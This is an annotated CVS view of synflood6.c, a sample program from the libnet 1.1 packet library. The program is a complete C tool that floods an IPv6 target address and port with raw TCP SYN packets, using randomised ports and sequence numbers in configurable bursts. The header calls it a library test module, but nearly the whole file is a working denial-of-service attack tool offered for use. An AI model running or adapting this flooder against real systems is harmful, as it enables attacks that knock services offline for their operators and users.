Annotation of embedaddon/libnet/sample/synflood6.c, revision 1.1.1.1

1.1       misho       1: /*
                      2:  *  $Id: synflood6.c,v 1.2 2004/03/01 20:26:12 mike Exp $
                      3:  *
                      4:  *  Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
                      5:  *  SYN flooder rewritten for no good reason.  Again as libnet test module.
                      6:  *  Again for libnet 1.1.
                      7:  *  All rights reserved.
                      8:  *
                      9:  * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de>
                     10:  *
                     11:  * Redistribution and use in source and binary forms, with or without
                     12:  * modification, are permitted provided that the following conditions
                     13:  * are met:
                     14:  * 1. Redistributions of source code must retain the above copyright
                     15:  *    notice, this list of conditions and the following disclaimer.
                     16:  * 2. Redistributions in binary form must reproduce the above copyright
                     17:  *    notice, this list of conditions and the following disclaimer in the
                     18:  *    documentation and/or other materials provided with the distribution.
                     19:  *
                     20:  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
                     21:  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
                     22:  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
                     23:  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
                     24:  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
                     25:  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
                     26:  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
                     27:  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
                     28:  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
                     29:  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
                     30:  * SUCH DAMAGE.
                     31:  *
                     32:  */
                     33: 
                     34: #if (HAVE_CONFIG_H)
                     35: #include "../include/config.h"
                     36: #endif
                     37: #include "./libnet_test.h"
                     38: 
                     39: struct t_pack
                     40: {
                     41:     struct libnet_ipv6_hdr ip;
                     42:     struct libnet_tcp_hdr tcp;
                     43: };
                     44: 
                     45: 
                     46: int
                     47: main(int argc, char **argv)
                     48: {
                     49:     struct libnet_in6_addr dst_ip;
                     50:     struct libnet_in6_addr src_ip;
                     51:     u_short dst_prt = 0;
                     52:     u_short src_prt = 0;
                     53:     libnet_t *l;
                     54:     libnet_ptag_t t;
                     55:     u_char *cp;
                     56:     char errbuf[LIBNET_ERRBUF_SIZE];
                     57:     int i, c, packet_amt, burst_int, burst_amt, build_ip;
                     58:        char srcname[100],dstname[100];
                     59: 
                     60:     packet_amt  = 0;
                     61:     burst_int   = 0;
                     62:     burst_amt   = 1;
                     63: 
                     64:     printf("libnet 1.1 syn flooding: TCP6[raw]\n");
                     65: 
                     66:     /*
                     67:      *  Initialize the library.  Root priviledges are required.
                     68:      */
                     69:     l = libnet_init(
                     70:             LIBNET_RAW6,                            /* injection type */
                     71:             NULL,                                   /* network interface */
                     72:             errbuf);                                /* error buffer */
                     73: 
                     74:     if (l == NULL)
                     75:     {
                     76:         fprintf(stderr, "libnet_init() failed: %s", errbuf);
                     77:         exit(EXIT_FAILURE); 
                     78:     }
                     79: 
                     80:     while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
                     81:     {
                     82:         switch (c)
                     83:         {
                     84:             case 't':
                     85:                 if (!(cp = strrchr(optarg, '/')))
                     86:                 {
                     87:                     usage(argv[0]);
                     88:                     exit(EXIT_FAILURE);
                     89:                 }
                     90:                 *cp++ = 0;
                     91:                 dst_prt = (u_short)atoi(cp);
                     92:                                dst_ip = libnet_name2addr6(l, optarg, 1);
                     93:                 if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0)
                     94:                 {
                     95:                     fprintf(stderr, "Bad IP6 address: %s\n", optarg);
                     96:                     exit(EXIT_FAILURE);
                     97:                 }
                     98:                 break;
                     99:             case 'a':
                    100:                 packet_amt  = atoi(optarg);
                    101:                 break;
                    102:             case 'i':
                    103:                 burst_int   = atoi(optarg);
                    104:                 break;
                    105:             case 'b':
                    106:                 burst_amt   = atoi(optarg);
                    107:                 break;
                    108:             default:
                    109:                 usage(argv[0]);
                    110:                 exit(EXIT_FAILURE);
                    111:         }
                    112:     }
                    113: 
                    114:        src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
                    115:        /*src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
                    116:        dst_prt = 113;
                    117:        dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
                    118:        packet_amt = 1;*/
                    119: 
                    120:     if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
                    121:     {
                    122:         usage(argv[0]);
                    123:         exit(EXIT_FAILURE);
                    124:     }
                    125:        
                    126:        
                    127: 
                    128:     libnet_seed_prand(l);
                    129:        libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname));
                    130:        libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname));
                    131: 
                    132:     for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
                    133:     {
                    134:         for (i = 0; i < packet_amt; i++)
                    135:         {
                    136:                        char payload[56];
                    137:                        int i;
                    138:                        for (i=0; i<56; i++) payload[i]='A'+((char)(i%26));
                    139:             t = libnet_build_tcp(
                    140:                     src_prt = libnet_get_prand(LIBNET_PRu16),
                    141:                     dst_prt,
                    142:                     libnet_get_prand(LIBNET_PRu32),
                    143:                     libnet_get_prand(LIBNET_PRu32),
                    144:                     TH_SYN,
                    145:                     libnet_get_prand(LIBNET_PRu16),
                    146:                     0,
                    147:                     0,
                    148:                     LIBNET_TCP_H,
                    149:                     NULL,
                    150:                     0,
                    151:                     l,
                    152:                     t);
                    153: 
                    154:             if (build_ip)
                    155:             {
                    156:                 build_ip = 0;                          
                    157:                printf("Packet len = %ld\n",LIBNET_ICMPV6_H+sizeof(payload));
                    158:                 libnet_build_ipv6(0,0,
                    159:                                    LIBNET_TCP_H,
                    160:                            IPPROTO_TCP,
                    161:                            64,
                    162:                            src_ip,
                    163:                            dst_ip,
                    164:                     NULL,
                    165:                     0,
                    166:                     l,
                    167:                     0);
                    168:                                //libnet_autobuild_ipv6(LIBNET_TCP_H,IPPROTO_TCP,dst_ip,l);
                    169:             }
                    170:             printf("%15s/%5d -> %15s/%5d\n", 
                    171:                     srcname,
                    172:                     ntohs(src_prt),
                    173:                     dstname,
                    174:                     dst_prt);
                    175:             c = libnet_write(l);
                    176:             if (c == -1)
                    177:             {
                    178:                 fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
                    179:             }
                    180: #if !(__WIN32__)
                    181:             usleep(250);
                    182: #else
                    183:             Sleep(250);
                    184: #endif
                    185: 
                    186:         }
                    187: #if !(__WIN32__)
                    188:         sleep(burst_int);
                    189: #else
                    190:         Sleep(burst_int * 1000);
                    191: #endif
                    192:     }
                    193:     exit(EXIT_SUCCESS);
                    194: }
                    195: 
                    196: 
                    197: void
                    198: usage(char *nomenclature)
                    199: {
                    200:     fprintf(stderr,
                    201:         "\n\nusage: %s -t -a [-i -b]\n"
                    202:         "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
                    203:         "\t-a number of packets to send per burst\n"
                    204:         "\t-i packet burst sending interval (defaults to 0)\n"
                    205:         "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
                    206: }
                    207: 
                    208: 
                    209: /* EOF */

FreeBSD-CVSweb <freebsd-cvsweb@FreeBSD.org>